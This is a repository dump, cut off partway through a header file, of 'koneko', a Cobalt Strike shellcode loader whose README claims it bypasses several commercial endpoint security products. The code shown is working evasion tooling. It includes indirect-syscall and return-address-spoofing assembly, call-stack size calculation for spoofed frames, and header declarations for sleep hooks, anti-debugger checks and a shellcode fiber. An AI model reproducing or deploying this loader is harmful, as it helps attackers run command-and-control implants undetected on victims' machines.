Repository: Meowmycks/koneko
Branch: main
Commit: 07a662cd3e85
Files: 17
Total size: 75.5 KB
Directory structure:
gitextract_pew1swbq/
├── README.md
├── callme.asm
├── callr12.asm
├── callstackspoof.cpp
├── headers/
│ ├── callstackspoof.h
│ ├── definitions.h
│ ├── enums.h
│ ├── includes.h
│ ├── sleep.h
│ ├── structs.h
│ └── syscalls.h
├── main.cpp
├── scripts/
│ ├── encoder.py
│ └── shellcode.txt
├── sleep.cpp
├── spoof.asm
└── syscalls.cpp
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# koneko
A Cobalt Strike shellcode loader with multiple advanced evasion features.

## Disclaimer
Don't be evil with this. I created this tool to learn. I'm not responsible if the Feds knock on your door.
----------------------------------------------------------------------------------------------------------
Historically was able to (and may still) bypass
- Palo Alto Cortex xDR
- Microsoft Defender for Endpoints
- Windows Defender
- Malwarebytes Anti-Malware

## Features
- Fully custom sleep implementation with thread callstack spoofing using NtCreateEvent and NtWaitForSingleObject
- Inline hook on Sleep/SleepEx to redirect to said custom sleep implementation
- Switching between Fiber threads to further avoid memory scanning
- Return address spoofing on (almost?) every other API/NTAPI call
- All the indirect syscalls!
- Bunch of anti-VM and anti-debugger checks
- Splitting and hiding shellcode as a bunch of x64 addresses with the EncodePointer API
- Probably other stuff I forgot to mention here
## Negatives
- It's not a UDRL loader, these spoof tricks are limited to only the running executable and will go away when you process inject to something else.
- The sleep obfuscation is tailored to Cobalt Strike. To work with other C2s you'd need to tailor how the hooking happens. Use a tool like `apimonitor` to intercept API calls from your beacon, detect the API(s) called on the sleep cycle, and then adjust the hooks as needed.
================================================
FILE: callme.asm
================================================
.data
extern dwSSN:dword
extern qwJMP:qword
.code
CallMe proc
mov r10, rcx
mov eax, dwSSN
jmp qwJMP
CallMe endp
end
================================================
FILE: callr12.asm
================================================
.code
CallR12 proc
; Allocate stack space
sub rsp, 100h
; Store non-volatile registers
mov qword ptr [rsp + 08h], rsi
mov qword ptr [rsp + 10h], rdi
mov qword ptr [rsp + 18h], r12
; Set up registers for function and fixup handler
mov r10, rcx ; R10 now holds the function to call
lea r12, Fixup ; R12 points to Fixup label for return address
; More stack space for arguments and spoofed return address
sub rsp, 200h
; Place the gadget address as the return address
mov qword ptr [rsp], r8 ; Spoofed return address is now set to r12_gadget
; Check if there are any arguments
cmp rdx, 0
je CallFunction ; If no arguments, jump to call the function directly
; Backup the number of arguments in R11
mov r11, rdx ; R11 = nArgs
; Shift arguments if necessary (move arguments into appropriate registers for calling convention)
cmp rdx, 4
mov rcx, r9 ; First argument to RCX (from R9 if provided)
mov rdx, qword ptr [rsp + 300h + 28h]
mov r8, qword ptr [rsp + 300h + 30h]
mov r9, qword ptr [rsp + 300h + 38h]
jle CallFunction ; Jump if there are 4 or fewer arguments
; Move additional arguments from stack to align with calling convention
mov rax, rcx
mov rcx, r11
sub rcx, 4 ; RCX = number of extra arguments to move
lea rsi, [rsp + 28h + 18h + 300h] ; Source (additional arguments in original stack frame)
lea rdi, [rsp + 28h] ; Destination in stack frame
rep movsq ; Move the arguments from RSI to RDI
; Restore RCX for function call
mov rcx, rax
CallFunction:
; Call the target function
jmp r10 ; Jump to function (R10), with r12_gadget as return address
Fixup:
; Restore non-volatile registers and stack frame
mov rsi, qword ptr [rsp + 200h + 08h]
mov rdi, qword ptr [rsp + 200h + 10h]
mov r12, qword ptr [rsp + 200h + 18h]
add rsp, 300h ; Clean up the stack frame
ret ; Return to caller
CallR12 endp
end
================================================
FILE: callstackspoof.cpp
================================================
#include <includes.h>
// Function to get the Exception Directory from .PDATA
VOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo) {
PIMAGE_NT_HEADERS64 pImgNtHdr = (PIMAGE_NT_HEADERS64)(pExceptionInfo->hModule + ((PIMAGE_DOS_HEADER)pExceptionInfo->hModule)->e_lfanew);
PIMAGE_DATA_DIRECTORY pExcDir = &pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
pExceptionInfo->pExceptionDirectory = pExceptionInfo->hModule + pExcDir->VirtualAddress;
pExceptionInfo->dwRuntimeFunctionCount = pExcDir->Size / sizeof(RUNTIME_FUNCTION);
}
// Backend function for CalculateStackSize that does all the hard work
ULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable, ULONG functionCount, DWORD64 ImageBase, DWORD64 pFuncAddr) {
NTSTATUS status = STATUS_SUCCESS;
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
StackFrame stackFrame = { 0 };
// Locate the correct RUNTIME_FUNCTION using Binary Search
ULONG low = 0, high = functionCount - 1;
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
while (low <= high) {
ULONG mid = (low + high) / 2;
PRUNTIME_FUNCTION pMidFunction = &pRuntimeFunctionTable[mid];
if (pFuncAddr < (ImageBase + pMidFunction->BeginAddress))
high = mid - 1;
else if (pFuncAddr > (ImageBase + pMidFunction->EndAddress))
low = mid + 1;
else {
pRuntimeFunction = pMidFunction; // Found the function
break;
}
}
if (!pRuntimeFunction) return STATUS_INVALID_PARAMETER; // Function not found
// If UnwindData is invalid, try retrieving function entry from Exception Directory
if (pRuntimeFunction->UnwindData >= 0x80000000) {
EXCEPTION_INFO excInfo = { 0 };
excInfo.hModule = ImageBase;
GetExceptionAddress(&excInfo);
// Manually search for the function in the Exception Directory
pRuntimeFunction = (PRUNTIME_FUNCTION)excInfo.pExceptionDirectory;
for (DWORD i = 0; i < excInfo.dwRuntimeFunctionCount; i++) {
if (pFuncAddr >= (ImageBase + pRuntimeFunction[i].BeginAddress) &&
pFuncAddr <= (ImageBase + pRuntimeFunction[i].EndAddress)) {
pRuntimeFunction = &pRuntimeFunction[i];
break;
}
}
// Still could not find valid entry
if (!pRuntimeFunction) return STATUS_INVALID_PARAMETER;
}
// Retrieve Unwind Information
pUnwindInfo = (PUNWIND_INFO)(ImageBase + pRuntimeFunction->UnwindData);
// Validate pUnwindInfo before using it
if (!pUnwindInfo || (DWORD64)pUnwindInfo < ImageBase || (DWORD64)pUnwindInfo > ImageBase + 0xFFFFFF) {
return STATUS_INVALID_PARAMETER; // Invalid pUnwindInfo
}
while (index < pUnwindInfo->CountOfCodes) {
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
// Calculate Stack Size Based on Unwind Codes
switch (unwindOperation) {
case UWOP_PUSH_NONVOL:
if (operationInfo == 4)
return STATUS_INVALID_PARAMETER;
stackFrame.totalStackSize += 8;
break;
case UWOP_ALLOC_SMALL:
stackFrame.totalStackSize += ((operationInfo * 8) + 8);
break;
case UWOP_ALLOC_LARGE:
index++;
if (index >= pUnwindInfo->CountOfCodes)
return 0x100; // Default safe size
frameOffset = (operationInfo == 0)
? pUnwindInfo->UnwindCode[index].FrameOffset * 8
: (pUnwindInfo->UnwindCode[index].FrameOffset + (pUnwindInfo->UnwindCode[++index].FrameOffset << 16));
if (frameOffset > 0x10000)
return 0x100; // Default safe size
stackFrame.totalStackSize += frameOffset;
break;
case UWOP_PUSH_MACHFRAME:
stackFrame.totalStackSize += (operationInfo == 0) ? 40 : 48;
break;
case UWOP_SAVE_NONVOL:
index++; // Skip next entry
break;
case UWOP_SAVE_NONVOL_FAR:
index += 2; // Skip two entries
break;
default:
return 0x100; // Default safe size
}
index++;
}
// Include Return Address Size
stackFrame.totalStackSize += 8;
//printf("Stack size calculated: %u\n", stackFrame.totalStackSize);
return stackFrame.totalStackSize;
}
// Wrapper function for CalculateStackSizeBackend
ULONG CalculateStackSize(PVOID ReturnAddress) {
if (!ReturnAddress)
return STATUS_INVALID_PARAMETER;
PRUNTIME_FUNCTION pRuntimeFunctionTable = NULL;
DWORD64 ImageBase = 0;
ULONG functionCount = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
// Locate RUNTIME_FUNCTION for given Function
pRuntimeFunctionTable = RtlLookupFunctionEntry((DWORD64)ReturnAddress, &ImageBase, pHistoryTable);
if (!pRuntimeFunctionTable) return STATUS_ASSERTION_FAILURE;
// Find the number of runtime function entries
PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
functionCount = pDataDir->Size / sizeof(RUNTIME_FUNCTION);
// Calculate the total stack size for the function we are "returning" to
return CalculateStackSizeBackend(pRuntimeFunctionTable, functionCount, ImageBase, (DWORD64)ReturnAddress);
}
================================================
FILE: headers/callstackspoof.h
================================================
#pragma once
#ifndef CALLSTACKSPOOF_H
#define CALLSTACKSPOOF_H
// Function to get the Exception Directory from .PDATA
VOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo);
// Backend function that does all the hard work
ULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable, ULONG functionCount, DWORD64 ImageBase, DWORD64 pFuncAddr);
// Wrapper function for CalculateStackSizeBackend
ULONG CalculateStackSize(PVOID ReturnAddress);
#endif
================================================
FILE: headers/definitions.h
================================================
#pragma once
#ifndef DEFINITIONS_H
#define DEFINITIONS_H
#define WIN32_LEAN_AND_MEAN
#define NO_MIN_MAX
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= STATUS_SUCCESS)
#define NTAPI_FUNCTION EXTERN_C NTSTATUS NTAPI
#define RTL_CONSTANT_STRING(s) { sizeof((s)) - sizeof((s)[0]), sizeof((s)), (PWCH)(s) }
#define InitializeObjectAttributes(p, n, a, r, s) \
do { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = nullptr; \
} while (0)
#define RtlInitUnicodeString(DestinationString, SourceString) \
do { \
if ((SourceString) == nullptr) { \
(DestinationString)->Length = 0; \
(DestinationString)->MaximumLength = 0; \
(DestinationString)->Buffer = nullptr; \
} else { \
size_t size = wcslen(SourceString) * sizeof(WCHAR); \
(DestinationString)->Length = static_cast<USHORT>(size); \
(DestinationString)->MaximumLength = static_cast<USHORT>(size + sizeof(WCHAR)); \
(DestinationString)->Buffer = const_cast<PWSTR>(SourceString); \
} \
} while (0)
#define NEW_STREAM L":%x%x\x00"
#define PROCESSOR_FEATURE_MAX 64
#define KUSER_SHARED_DATA_ADDRESS 0x7FFE0000
#endif
================================================
FILE: headers/enums.h
================================================
#pragma once
#ifndef ENUMS_H
#define ENUMS_H
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0, /* info == register number */
UWOP_ALLOC_LARGE, /* no info, alloc size in next 2 slots */
UWOP_ALLOC_SMALL, /* info == size of allocation / 8 - 1 */
UWOP_SET_FPREG, /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */
UWOP_SAVE_NONVOL, /* info == register number, offset in next slot */
UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */
UWOP_SAVE_XMM128 = 8, /* info == XMM reg number, offset in next slot */
UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */
UWOP_PUSH_MACHFRAME /* info == 0: no error-code, 1: error-code */
} UNWIND_CODE_OPS;
typedef enum _FILE_INFO_CLASS
{
//FileDirectoryInformation, // q: FILE_DIRECTORY_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileFullDirectoryInformation = 2, // q: FILE_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileBothDirectoryInformation, // q: FILE_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileBasicInformation, // q; s: FILE_BASIC_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)
FileStandardInformation, // q: FILE_STANDARD_INFORMATION, FILE_STANDARD_INFORMATION_EX
FileInternalInformation, // q: FILE_INTERNAL_INFORMATION
FileEaInformation, // q: FILE_EA_INFORMATION
FileAccessInformation, // q: FILE_ACCESS_INFORMATION
FileNameInformation, // q: FILE_NAME_INFORMATION
FileRenameInformation, // s: FILE_RENAME_INFORMATION (requires DELETE) // 10
FileLinkInformation, // s: FILE_LINK_INFORMATION
FileNamesInformation, // q: FILE_NAMES_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileDispositionInformation, // s: FILE_DISPOSITION_INFORMATION (requires DELETE)
FilePositionInformation, // q; s: FILE_POSITION_INFORMATION
FileFullEaInformation, // FILE_FULL_EA_INFORMATION
FileModeInformation, // q; s: FILE_MODE_INFORMATION
FileAlignmentInformation, // q: FILE_ALIGNMENT_INFORMATION
FileAllInformation, // q: FILE_ALL_INFORMATION (requires FILE_READ_ATTRIBUTES)
FileAllocationInformation, // s: FILE_ALLOCATION_INFORMATION (requires FILE_WRITE_DATA)
FileEndOfFileInformation, // s: FILE_END_OF_FILE_INFORMATION (requires FILE_WRITE_DATA) // 20
FileAlternateNameInformation, // q: FILE_NAME_INFORMATION
FileStreamInformation, // q: FILE_STREAM_INFORMATION
FilePipeInformation, // q; s: FILE_PIPE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)
FilePipeLocalInformation, // q: FILE_PIPE_LOCAL_INFORMATION (requires FILE_READ_ATTRIBUTES)
FilePipeRemoteInformation, // q; s: FILE_PIPE_REMOTE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)
FileMailslotQueryInformation, // q: FILE_MAILSLOT_QUERY_INFORMATION
FileMailslotSetInformation, // s: FILE_MAILSLOT_SET_INFORMATION
FileCompressionInformation, // q: FILE_COMPRESSION_INFORMATION
FileObjectIdInformation, // q: FILE_OBJECTID_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileCompletionInformation, // s: FILE_COMPLETION_INFORMATION // 30
FileMoveClusterInformation, // s: FILE_MOVE_CLUSTER_INFORMATION (requires FILE_WRITE_DATA)
FileQuotaInformation, // q: FILE_QUOTA_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileReparsePointInformation, // q: FILE_REPARSE_POINT_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileNetworkOpenInformation, // q: FILE_NETWORK_OPEN_INFORMATION (requires FILE_READ_ATTRIBUTES)
FileAttributeTagInformation, // q: FILE_ATTRIBUTE_TAG_INFORMATION (requires FILE_READ_ATTRIBUTES)
FileTrackingInformation, // s: FILE_TRACKING_INFORMATION (requires FILE_WRITE_DATA)
FileIdBothDirectoryInformation, // q: FILE_ID_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileIdFullDirectoryInformation, // q: FILE_ID_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])
FileValidDataLengthInformation, // s: FILE_VALID_DATA_LENGTH_INFORMATION (requires FILE_WRITE_DATA and/or SeManageVolumePrivilege)
FileShortNameInformation, // s: FILE_NAME_INFORMATION (requires DELETE) // 40
FileIoCompletionNotificationInformation, // q; s: FILE_IO_COMPLETION_NOTIFICATION_INFORMATION (q: requires FILE_READ_ATTRIBUTES) // since VISTA
FileIoStatusBlockRangeInformation, // s: FILE_IOSTATUSBLOCK_RANGE_INFORMATION (requires SeLockMemoryPrivilege)
FileIoPriorityHintInformation, // q; s: FILE_IO_PRIORITY_HINT_INFORMATION, FILE_IO_PRIORITY_HINT_INFORMATION_EX (q: requires FILE_READ_DATA)
FileSfioReserveInformation, // q; s: FILE_SFIO_RESERVE_INFORMATION (q: requires FILE_READ_DATA)
FileSfioVolumeInformation, // q: FILE_SFIO_VOLUME_INFORMATION (requires FILE_READ_ATTRIBUTES)
FileHardLinkInformation, // q: FILE_LINKS_INFORMATION
FileProcessIdsUsingFileInformation, // q: FILE_PROCESS_IDS_USING_FILE_INFORMATION (requires FILE_READ_ATTRIBUTES)
FileNormalizedNameInformation, // q: FILE_NAME_INFORMATION
FileNetworkPhysicalNameInformation, // q: FILE_NETWORK_PHYSICAL_NAME_INFORMATION
FileIdGlobalTxDirectoryInformation, // q: FILE_ID_GLOBAL_TX_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since WIN7 // 50
FileIsRemoteDeviceInformation, // q: FILE_IS_REMOTE_DEVICE_INFORMATION (requires FILE_READ_ATTRIBUTES)
FileUnusedInformation,
FileNumaNodeInformation, // q: FILE_NUMA_NODE_INFORMATION
FileStandardLinkInformation, // q: FILE_STANDARD_LINK_INFORMATION
FileRemoteProtocolInformation, // q: FILE_REMOTE_PROTOCOL_INFORMATION
FileRenameInformationBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION // since WIN8
FileLinkInformationBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION
FileVolumeNameInformation, // q: FILE_VOLUME_NAME_INFORMATION
FileIdInformation, // q: FILE_ID_INFORMATION
FileIdExtdDirectoryInformation, // q: FILE_ID_EXTD_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // 60
FileReplaceCompletionInformation, // s: FILE_COMPLETION_INFORMATION // since WINBLUE
FileHardLinkFullIdInformation, // q: FILE_LINK_ENTRY_FULL_ID_INFORMATION // FILE_LINKS_FULL_ID_INFORMATION
FileIdExtdBothDirectoryInformation, // q: FILE_ID_EXTD_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since THRESHOLD
FileDispositionInformationEx, // s: FILE_DISPOSITION_INFO_EX (requires DELETE) // since REDSTONE
FileRenameInformationEx, // s: FILE_RENAME_INFORMATION_EX
FileRenameInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION_EX
FileDesiredStorageClassInformation, // q; s: FILE_DESIRED_STORAGE_CLASS_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since REDSTONE2
FileStatInformation, // q: FILE_STAT_INFORMATION (requires FILE_READ_ATTRIBUTES)
FileMemoryPartitionInformation, // s: FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3
FileStatLxInformation, // q: FILE_STAT_LX_INFORMATION (requires FILE_READ_ATTRIBUTES and FILE_READ_EA) // since REDSTONE4 // 70
FileCaseSensitiveInformation, // q; s: FILE_CASE_SENSITIVE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)
FileLinkInformationEx, // s: FILE_LINK_INFORMATION_EX // since REDSTONE5
FileLinkInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION_EX
FileStorageReserveIdInformation, // q; s: FILE_STORAGE_RESERVE_ID_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)
FileCaseSensitiveInformationForceAccessCheck, // q; s: FILE_CASE_SENSITIVE_INFORMATION
FileKnownFolderInformation, // q; s: FILE_KNOWN_FOLDER_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since WIN11
FileStatBasicInformation, // since 23H2
FileId64ExtdDirectoryInformation, // FILE_ID_64_EXTD_DIR_INFORMATION
FileId64ExtdBothDirectoryInformation, // FILE_ID_64_EXTD_BOTH_DIR_INFORMATION
FileIdAllExtdDirectoryInformation, // FILE_ID_ALL_EXTD_DIR_INFORMATION
FileIdAllExtdBothDirectoryInformation, // FILE_ID_ALL_EXTD_BOTH_DIR_INFORMATION
FileStreamReservationInformation, // FILE_STREAM_RESERVATION_INFORMATION // since 24H2
FileMupProviderInfo, // MUP_PROVIDER_INFORMATION
FileMaximumInformation
} FILE_INFO_CLASS, * PFILE_INFO_CLASS;
typedef enum _NT_PRODUCT_TYPE {
NtProductWinNt = 1,
NtProductLanManNt,
NtProductServer
} NT_PRODUCT_TYPE,
* PNT_PRODUCT_TYPE;
typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE {
StandardDesign,
NEC98x86,
EndAlternatives
} ALTERNATIVE_ARCHITECTURE_TYPE;
#endif
================================================
FILE: headers/includes.h
================================================
#pragma once
#ifndef INCLUDES_H
#define INCLUDES_H
#include <iostream>
#include <iomanip>
#include <vector>
#include <functional>
#include <map>
#include <random>
#include <string>
#include <windows.h>
#include <ntstatus.h>
#include <winternl.h>
#include <intrin.h>
#include <definitions.h>
#include <enums.h>
#include <structs.h>
#include <syscalls.h>
#include <callstackspoof.h>
#include <sleep.h>
#endif
================================================
FILE: headers/sleep.h
================================================
#pragma once
#ifndef SLEEP_H
#define SLEEP_H
EXTERN_C DWORD dwSSN;
EXTERN_C PVOID qwJMP;
EXTERN_C PVOID NTAPI Spoof(PVOID a, ...);
EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...);
NTAPI_FUNCTION CallMe();
extern PBYTE hNtdll, hKernel32;
extern std::vector<PVOID> callR12gadgets;
extern PVOID gadget;
extern NTSTATUS status;
// Check if process sleeptime is being fastforwarded
BOOL FiveHourEnergy();
// Sleeping without calling Sleep()
VOID ImNotSleepingIPromise(DWORD milliseconds);
// Hook Sleep and SleepEx
VOID ReSleep();
extern SyscallEntry NtCreateEvent;
extern SyscallEntry sysNtWaitForSingleObject;
extern LPVOID mainFiber;
extern LPVOID benignFiber;
extern LPVOID shellcodeFiber;
#endif
================================================
FILE: headers/structs.h
================================================
#pragma once
#ifndef STRUCTS_H
#define STRUCTS_H
typedef struct SyscallEntry {
INT SSN;
PVOID Address;
PVOID Syscall;
};
//0x18 bytes (sizeof)
struct _RTL_BALANCED_NODE {
union
{
struct _RTL_BALANCED_NODE* Children[2]; //0x0
struct
{
struct _RTL_BALANCED_NODE* Left; //0x0
struct _RTL_BALANCED_NODE* Right; //0x8
};
};
union
{
struct
{
UCHAR Red : 1; //0x10
UCHAR Balance : 2; //0x10
};
ULONGLONG ParentValue; //0x10
};
};
//0x138 bytes (sizeof)
typedef struct _LDR_DATA_TABLE_ENTRY_MODIFIED {
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x10
struct _LIST_ENTRY InInitializationOrderLinks; //0x20
PVOID DllBase; //0x30
PVOID EntryPoint; //0x38
ULONG SizeOfImage; //0x40
struct _UNICODE_STRING FullDllName; //0x48
struct _UNICODE_STRING BaseDllName; //0x58
union
{
UCHAR FlagGroup[4]; //0x68
ULONG Flags; //0x68
struct
{
ULONG PackagedBinary : 1; //0x68
ULONG MarkedForRemoval : 1; //0x68
ULONG ImageDll : 1; //0x68
ULONG LoadNotificationsSent : 1; //0x68
ULONG TelemetryEntryProcessed : 1; //0x68
ULONG ProcessStaticImport : 1; //0x68
ULONG InLegacyLists : 1; //0x68
ULONG InIndexes : 1; //0x68
ULONG ShimDll : 1; //0x68
ULONG InExceptionTable : 1; //0x68
ULONG ReservedFlags1 : 2; //0x68
ULONG LoadInProgress : 1; //0x68
ULONG LoadConfigProcessed : 1; //0x68
ULONG EntryProcessed : 1; //0x68
ULONG ProtectDelayLoad : 1; //0x68
ULONG ReservedFlags3 : 2; //0x68
ULONG DontCallForThreads : 1; //0x68
ULONG ProcessAttachCalled : 1; //0x68
ULONG ProcessAttachFailed : 1; //0x68
ULONG CorDeferredValidate : 1; //0x68
ULONG CorImage : 1; //0x68
ULONG DontRelocate : 1; //0x68
ULONG CorILOnly : 1; //0x68
ULONG ChpeImage : 1; //0x68
ULONG ChpeEmulatorImage : 1; //0x68
ULONG ReservedFlags5 : 1; //0x68
ULONG Redirected : 1; //0x68
ULONG ReservedFlags6 : 2; //0x68
ULONG CompatDatabaseProcessed : 1; //0x68
};
};
USHORT ObsoleteLoadCount; //0x6c
USHORT TlsIndex; //0x6e
struct _LIST_ENTRY HashLinks; //0x70
ULONG TimeDateStamp; //0x80
struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
PVOID Lock; //0x90
struct _LDR_DDAG_NODE* DdagNode; //0x98
struct _LIST_ENTRY NodeModuleLink; //0xa0
struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
PVOID ParentDllBase; //0xb8
PVOID SwitchBackContext; //0xc0
struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
ULONGLONG OriginalBase; //0xf8
union _LARGE_INTEGER LoadTime; //0x100
ULONG BaseNameHashValue; //0x108
enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c
ULONG ImplicitPathOptions; //0x110
ULONG ReferenceCount; //0x114
ULONG DependentLoadFlags; //0x118
UCHAR SigningLevel; //0x11c
ULONG CheckSum; //0x120
PVOID ActivePatchImageBase; //0x128
enum _LDR_HOT_PATCH_STATE HotPatchState; //0x130
} LDR_DATA_TABLE_ENTRY_MODIFIED,
* PLDR_DATA_TABLE_ENTRY_MODIFIED;
// Define call stack spoofing structs
typedef struct {
PVOID Fixup; // 0
PVOID OG_retaddr; // 8
PVOID rbx; // 16
PVOID rdi; // 24
PVOID BTIT_ss; // 32
PVOID BTIT_retaddr; // 40
PVOID Gadget_ss; // 48
PVOID RUTS_ss; // 56
PVOID RUTS_retaddr; // 64
PVOID ssn; // 72
PVOID trampoline; // 80
PVOID rsi; // 88
PVOID r12; // 96
PVOID r13; // 104
PVOID r14; // 112
PVOID r15; // 120
} PRM,
* PPRM;
typedef union _UNWIND_CODE {
struct {
BYTE CodeOffset;
BYTE UnwindOp : 4;
BYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE,
* PUNWIND_CODE;
typedef struct _UNWIND_INFO {
BYTE Version : 3;
BYTE Flags : 5;
BYTE SizeOfProlog;
BYTE CountOfCodes;
BYTE FrameRegister : 4;
BYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
} UNWIND_INFO,
* PUNWIND_INFO;
typedef struct _EXCEPTION_INFO {
UINT64 hModule;
UINT64 pExceptionDirectory;
DWORD dwRuntimeFunctionCount;
}EXCEPTION_INFO,
* PEXCEPTION_INFO;
typedef struct {
LPCWSTR dllPath;
ULONG offset;
ULONG totalStackSize;
BOOL requiresLoadLibrary;
BOOL setsFramePointer;
PVOID returnAddress;
BOOL pushRbp;
ULONG countOfCodes;
BOOL pushRbpIndex;
} StackFrame,
* PStackFrame;
typedef struct _FILE_STANDARD_INFORMATION {
LARGE_INTEGER AllocationSize; // The file allocation size in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device.
LARGE_INTEGER EndOfFile; // The end of file location as a byte offset.
ULONG NumberOfLinks; // The number of hard links to the file.
BOOLEAN DeletePending; // The delete pending status. TRUE indicates that a file deletion has been requested.
BOOLEAN Directory; // The file directory status. TRUE indicates the file object represents a directory.
} FILE_STANDARD_INFORMATION,
* PFILE_STANDARD_INFORMATION;
typedef struct _FILE_RENAME_INFORMATION_EX {
ULONG Flags;
HANDLE RootDirectory;
ULONG FileNameLength;
_Field_size_bytes_(FileNameLength) WCHAR FileName[1];
} FILE_RENAME_INFORMATION_EX,
* PFILE_RENAME_INFORMATION_EX;
typedef struct _FILE_DISPOSITION_INFORMATION {
BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFORMATION,
* PFILE_DISPOSITION_INFORMATION;
typedef struct _KSYSTEM_TIME {
ULONG LowPart;
LONG High1Time;
LONG High2Time;
} KSYSTEM_TIME,
* PKSYSTEM_TIME;
typedef struct _KUSER_SHARED_DATA {
ULONG TickCountLowDeprecated;
ULONG TickCountMultiplier;
KSYSTEM_TIME InterruptTime;
KSYSTEM_TIME SystemTime;
KSYSTEM_TIME TimeZoneBias;
USHORT ImageNumberLow;
USHORT ImageNumberHigh;
WCHAR NtSystemRoot[260];
ULONG MaxStackTraceDepth;
ULONG CryptoExponent;
ULONG TimeZoneId;
ULONG LargePageMinimum;
ULONG AitSamplingValue;
ULONG AppCompatFlag;
ULONGLONG RNGSeedVersion;
ULONG GlobalValidationRunlevel;
LONG TimeZoneBiasStamp;
ULONG NtBuildNumber;
NT_PRODUCT_TYPE NtProductType;
BOOLEAN ProductTypeIsValid;
BOOLEAN Reserved0[1];
USHORT NativeProcessorArchitecture;
ULONG NtMajorVersion;
ULONG NtMinorVersion;
BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX];
ULONG Reserved1;
ULONG Reserved3;
ULONG TimeSlip;
ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture;
ULONG BootId;
LARGE_INTEGER SystemExpirationDate;
ULONG SuiteMask;
BOOLEAN KdDebuggerEnabled;
union {
UCHAR MitigationPolicies;
struct {
UCHAR NXSupportPolicy : 2;
UCHAR SEHValidationPolicy : 2;
UCHAR CurDirDevicesSkippedForDlls : 2;
UCHAR Reserved : 2;
};
};
USHORT CyclesPerYield;
ULONG ActiveConsoleId;
ULONG DismountCount;
ULONG ComPlusPackage;
ULONG LastSystemRITEventTickCount;
ULONG NumberOfPhysicalPages;
BOOLEAN SafeBootMode;
union {
UCHAR VirtualizationFlags;
struct {
UCHAR ArchStartedInEl2 : 1;
